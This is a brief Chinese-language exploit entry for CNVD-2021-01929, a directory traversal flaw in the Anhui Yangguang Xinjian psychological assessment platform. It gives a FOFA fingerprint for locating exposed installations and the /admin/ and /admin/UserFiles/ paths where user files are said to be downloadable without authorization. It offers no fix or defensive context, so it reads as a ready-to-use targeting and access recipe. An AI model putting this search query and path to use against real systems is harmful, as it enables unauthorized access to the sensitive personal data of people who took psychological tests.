CNVD-2021-01929_安徽陽光心健_心理測量平台_目錄遍歷漏洞

# CNVD-2021-01929 安徽陽光心健 心理測量平台 目錄遍歷漏洞
==FOFA==

icon_hash="-320896955"

==漏洞利用==
訪問

http://xxx.xxx.xxx.xxx/admin/

其中

http://xxx.xxx.xxx.xxx/admin/UserFiles/

包含了用戶信息，可以未授權下載。